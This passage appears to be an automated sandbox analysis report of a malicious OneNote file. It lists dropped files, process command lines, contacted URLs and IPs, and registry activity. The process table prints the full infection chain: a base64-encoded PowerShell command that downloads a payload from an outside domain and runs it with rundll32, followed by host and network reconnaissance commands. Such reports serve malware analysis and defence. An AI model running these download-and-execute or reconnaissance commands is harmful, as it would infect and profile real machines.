JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:15:20], progressive, precision 8, 604x784, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F4F5EBEF-F65E-49A2-A898-AE95E853F039}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F53BDC61-CD10-4031-8BC8-F96EB7B38D84}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F6507E7F-DE7B-475B-BE43-FC42A2932B69}
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F7D68F83-2D9D-4E23-8426-AE7B2F2FD84B}
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 17x608, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F8C234C4-C774-4EE1-8676-020EF71B1552}
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:13:06], progressive, precision 8, 570x779, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{F931B4FC-13ED-4FF5-9C12-94F1D2BB5EA4}
|
PNG image data, 39 x 579, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{FEB62BB1-3E22-4833-B9A1-208F05958253}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{FFFCBAA0-A658-4426-82EA-01A11F31377D}
|
PNG image data, 88 x 574, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\1033\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\1033\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Bibliography Styles\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Building Blocks\1033\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Building Blocks\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1bc9bbbe61f14501.customDestinations-ms (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1bc9bbbe61f14501.customDestinations-ms~RF8b484.TMP
(copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PG5ZHR95ZCNV0C51W26J.temp
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S45K5MTEXLHA49T0OF1N.temp
|
Matlab v4 mat-file (little endian) \253\373\277\272, sparse, rows 1, columns 0, imaginary
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Send to OneNote.lnk
|
MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command
line arguments, Archive, Sparse, ctime=Wed Sep 22 09:27:59 2021, mtime=Tue Feb 7 18:48:26 2023, atime=Wed Sep 22 09:27:59
2021, length=180528, window=hide
|
dropped
|
||
C:\Users\user\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2
|
data
|
dropped
|
||
C:\Users\user\Documents\OneNote Notebooks\My Notebook\Quick Notes.one
|
data
|
dropped
|
There are 720 hidden files, click here to show them.
Processes
Path
|
Cmdline
|
Malicious
|
|
---|---|---|---|
C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
|
C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "C:\Users\user\Desktop\Note.one
|
||
C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE
|
/tsr
|
||
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Open.cmd" "
|
||
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL3Rhc3NvaW5tb2JpbGlhcmlhLmNvbS81NkcwLzAxLmdpZiAtT3V0RmlsZSBDOlxwcm9ncmFtZGF0YVxwdXR0eS5qcGcNCnJ1bmRsbDMyIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZyxXaW5kDQpleGl0DQo='))
|
||
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd
|
||
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
powershell Invoke-WebRequest -URI https://tassoinmobiliaria.com/56G0/01.gif -OutFile C:\programdata\putty.jpg
|
||
C:\Windows\System32\rundll32.exe
|
rundll32 C:\programdata\putty.jpg,Wind
|
||
C:\Windows\SysWOW64\rundll32.exe
|
rundll32 C:\programdata\putty.jpg,Wind
|
||
C:\Windows\SysWOW64\backgroundTaskHost.exe
|
C:\Windows\SysWOW64\backgroundTaskHost.exe
|
||
C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE
|
"C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE" /tsr
|
||
C:\Windows\SysWOW64\net.exe
|
net view
|
||
C:\Windows\SysWOW64\cmd.exe
|
cmd /c set
|
||
C:\Windows\SysWOW64\ARP.EXE
|
arp -a
|
||
C:\Windows\SysWOW64\ipconfig.exe
|
ipconfig /all
|
||
C:\Windows\SysWOW64\net.exe
|
net share
|
||
C:\Windows\SysWOW64\NETSTAT.EXE
|
netstat -nao
|
||
C:\Windows\SysWOW64\net.exe
|
net localgroup
|
||
C:\Windows\SysWOW64\whoami.exe
|
whoami /all
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\SysWOW64\net1.exe
|
C:\Windows\system32\net1 share
|
||
C:\Windows\SysWOW64\ROUTE.EXE
|
route print
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\SysWOW64\net1.exe
|
C:\Windows\system32\net1 localgroup
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\msiexec.exe
|
C:\Windows\system32\msiexec.exe /V
|
There are 23 hidden processes, click here to show them.
URLs
Name
|
IP
|
Malicious
|
|
---|---|---|---|
https://api.diagnosticssdf.office.com
|
unknown
|
||
https://login.microsoftonline.com/
|
unknown
|
||
https://shell.suite.office.com:1443
|
unknown
|
||
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
|
unknown
|
||
https://87.149.176.97/t5
|
87.149.176.97
|
||
https://autodiscover-s.outlook.com/
|
unknown
|
||
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
|
unknown
|
||
https://cdn.entity.
|
unknown
|
||
https://tassoinmobiliaria.com/56G0/01.gif
|
148.163.69.171
|
||
https://api.addins.omex.office.net/appinfo/query
|
unknown
|
||
https://clients.config.office.net/user/v1.0/tenantassociationkey
|
unknown
|
||
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
|
unknown
|
||
https://powerlift.acompli.net
|
unknown
|
||
https://rpsticket.partnerservices.getmicrosoftkey.com
|
unknown
|
||
https://lookup.onenote.com/lookup/geolocation/v1
|
unknown
|
||
https://cortana.ai
|
unknown
|
||
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
|
unknown
|
||
https://api.powerbi.com/v1.0/myorg/imports
|
unknown
|
||
https://cloudfiles.onenote.com/upload.aspx
|
unknown
|
||
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
|
unknown
|
||
https://entitlement.diagnosticssdf.office.com
|
unknown
|
||
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
|
unknown
|
||
https://api.aadrm.com/
|
unknown
|
||
https://ofcrecsvcapi-int.azurewebsites.net/
|
unknown
|
||
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
|
unknown
|
||
https://api.microsoftstream.com/api/
|
unknown
|
||
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
|
unknown
|
||
https://cr.office.com
|
unknown
|
||
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
|
unknown
|
||
https://portal.office.com/account/?ref=ClientMeControl
|
unknown
|
||
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
https://graph.ppe.windows.net
|
unknown
|
||
https://res.getmicrosoftkey.com/api/redemptionevents
|
unknown
|
||
https://powerlift-frontdesk.acompli.net
|
unknown
|
||
https://tasks.office.com
|
unknown
|
||
https://jp.broadcom.com
|
unknown
|
||
https://officeci.azurewebsites.net/api/
|
unknown
|
||
https://sr.outlook.office.net/ws/speech/recognize/assistant/work
|
unknown
|
||
https://api.scheduler.
|
unknown
|
||
https://my.microsoftpersonalcontent.com
|
unknown
|
||
https://store.office.cn/addinstemplate
|
unknown
|
||
https://api.aadrm.com
|
unknown
|
||
https://outlook.office.com/autosuggest/api/v1/init?cvid=
|
unknown
|
||
https://globaldisco.crm.dynamics.com
|
unknown
|
||
https://messaging.engagement.office.com/
|
unknown
|
||
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
|
unknown
|
||
https://dev0-api.acompli.net/autodetect
|
unknown
|
||
https://www.odwebp.svc.ms
|
unknown
|
||
https://api.diagnosticssdf.office.com/v2/feedback
|
unknown
|
||
https://api.powerbi.com/v1.0/myorg/groups
|
unknown
|
||
https://web.microsoftstream.com/video/
|
unknown
|
||
https://api.addins.store.officeppe.com/addinstemplate
|
unknown
|
||
https://broadcom.com/
|
50.112.202.115
|
||
https://graph.windows.net
|
unknown
|
||
https://dataservice.o365filtering.com/
|
unknown
|
||
https://officesetup.getmicrosoftkey.com
|
unknown
|
||
https://analysis.windows.net/powerbi/api
|
unknown
|
||
https://prod-global-autodetect.acompli.net/autodetect
|
unknown
|
||
https://outlook.office365.com/autodiscover/autodiscover.json
|
unknown
|
||
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
|
unknown
|
||
https://consent.config.office.com/consentcheckin/v1.0/consents
|
unknown
|
||
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
|
unknown
|
||
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
|
unknown
|
||
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
|
unknown
|
||
https://d.docs.live.net
|
unknown
|
||
https://ncus.contentsync.
|
unknown
|
||
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
|
unknown
|
||
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
|
unknown
|
||
http://weather.service.msn.com/data.aspx
|
unknown
|
||
https://apis.live.net/v5.0/
|
unknown
|
||
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
|
unknown
|
||
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
|
unknown
|
||
https://messaging.lifecycle.office.com/
|
unknown
|
||
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
|
unknown
|
||
https://cdn.cookielaw.org/scripttemplates/otSDKStub.js
|
unknown
|
||
https://pushchannel.1drv.ms
|
unknown
|
||
https://management.azure.com
|
unknown
|
||
https://outlook.office365.com
|
unknown
|
||
https://login.windows.net
|
unknown
|
||
https://wus2.contentsync.
|
unknown
|
||
https://incidents.diagnostics.office.com
|
unknown
|
||
https://clients.config.office.net/user/v1.0/ios
|
unknown
|
||
https://make.powerautomate.com
|
unknown
|
||
https://insertmedia.bing.office.net/odc/insertmedia
|
unknown
|
||
https://o365auditrealtimeingestion.manage.office.com
|
unknown
|
||
https://outlook.office365.com/api/v1.0/me/Activities
|
unknown
|
||
https://api.office.net
|
unknown
|
||
https://incidents.diagnosticssdf.office.com
|
unknown
|
||
https://asgsmsproxyapi.azurewebsites.net/
|
unknown
|
||
https://clients.config.office.net/user/v1.0/android/policies
|
unknown
|
||
https://aka.ms/pscore6
|
unknown
|
||
https://entitlement.diagnostics.office.com
|
unknown
|
||
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
|
unknown
|
||
https://substrate.office.com/search/api/v2/init
|
unknown
|
||
https://outlook.office.com/
|
unknown
|
||
https://storage.live.com/clientlogs/uploadlocation
|
unknown
|
||
https://outlook.office365.com/
|
unknown
|
||
https://webshell.suite.office.com
|
unknown
|
||
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
|
unknown
|
||
https://substrate.office.com/search/api/v1/SearchHistory
|
unknown
|
There are 90 hidden URLs, click here to show them.
Domains
Name
|
IP
|
Malicious
|
|
---|---|---|---|
tassoinmobiliaria.com
|
148.163.69.171
|
||
broadcom.com
|
50.112.202.115
|
||
www.broadcom.com
|
unknown
|
IPs
IP
|
Domain
|
Country
|
Malicious
|
|
---|---|---|---|---|
87.149.176.97
|
unknown
|
Germany
|
||
148.163.69.171
|
tassoinmobiliaria.com
|
United States
|
||
50.112.202.115
|
broadcom.com
|
United States
|
Registry
Path
|
Value
|
Malicious
|
|
---|---|---|---|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
|
12
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\ONENOTE\3424
|
0
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Resiliency\StartupItems
|
<r5
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\onenote
|
Language
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\onenote
|
EcsRequestPending
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\onenote
|
SubscriptionCustomerLicenseInfo
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Word\Addins\OneNote.WordAddinTakeNotesButton
|
CommandLineSafe
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Word\Addins\OneNote.WordAddinTakeNotesButton
|
Description
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Word\Addins\OneNote.WordAddinTakeNotesButton
|
FriendlyName
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Word\Addins\OneNote.WordAddinTakeNotesButton
|
LoadBehavior
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\PowerPoint\Addins\OneNote.PowerPointAddinTakeNotesButton
|
CommandLineSafe
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\PowerPoint\Addins\OneNote.PowerPointAddinTakeNotesButton
|
Description
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\PowerPoint\Addins\OneNote.PowerPointAddinTakeNotesButton
|
FriendlyName
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\PowerPoint\Addins\OneNote.PowerPointAddinTakeNotesButton
|
LoadBehavior
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
LastMyDocumentsPathUsed
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\TypeLib\{F2A7EE29-8BF6-4a6d-83F1-098E366C709C}\1.0\0\win64
|
NULL
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.1\0\win64
|
NULL
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
ProgressWindowPosLeft
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
ProgressWindowPosTop
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
ConsecutiveBootCrashes
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
ConsecutiveEarlyCrashes
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
EDPLastRevokeCheckTime
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote
|
FlightedVersion
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Options\Save
|
BackupFilenamePostfixStartSP1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Options\Save
|
BackupFilenamePostfixEndSP1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Options\Save
|
BackupFilenamePostfixEndRerepairSP1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote
|
FirstBootStatus
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\OpenNotebooks
|
1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Resiliency
|
RepairQuickNotesOnBoot
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
DateLastAttemptedOpeningLocalNotebooksOnBoot
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\RulesLastAudienceReported
|
onenote.exe
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\FavoritePens
|
Data
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Experiment\onenote
|
BuildNumber
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote
|
Expires
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
ChunkCount
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.2
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.3
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.4
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.5
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.6
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.7
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.8
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.9
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.10
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.11
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.12
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.13
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.14
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
1.15
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote\ConfigContextData
|
VersionId
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote
|
ETag
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote
|
DeferredConfigs
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\onenote
|
ConfigIds
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Page Sync Status
|
PageSyncStatusPersistentData
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Page Sync Status
|
PageSyncStatusPersistentDataLastUpdateDate
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
LastCacheFclRepairSuccessTime
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\RecentNotebooks
|
FOLDERID_Desktop
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\RecentNotebooks
|
FOLDERID_Documents
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Place MRU
|
FOLDERID_Desktop
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Place MRU
|
FOLDERID_Documents
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\Options\Paths
|
UnfiledNotesSection
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
LastAppliedNotebookColor
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming
|
RoamingLastSyncTimeOneNote
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming
|
RoamingLastWriteTimeOneNote
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified
|
onenote.exe_queried
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified
|
onenote.exe
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe
|
RulesEndpoint
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
|
4
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
|
Categories
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
|
4
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
|
Categories
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSTagIds0
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSTagIds1
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSCategoriesSeverities
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSAllCategories
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\OneNote\General
|
LastNotebookSyncTypeLogTime
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Volatile
|
MsaDevice
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000061091A0090400100000000F01FEC\Usage
|
OneNoteNonBootFilesIntl_1033
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
|
4
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
|
Categories
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
|
4
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
|
Categories
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSTagIds0
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\onenote.exe\ULSMonitor
|
ULSTagIds1
|
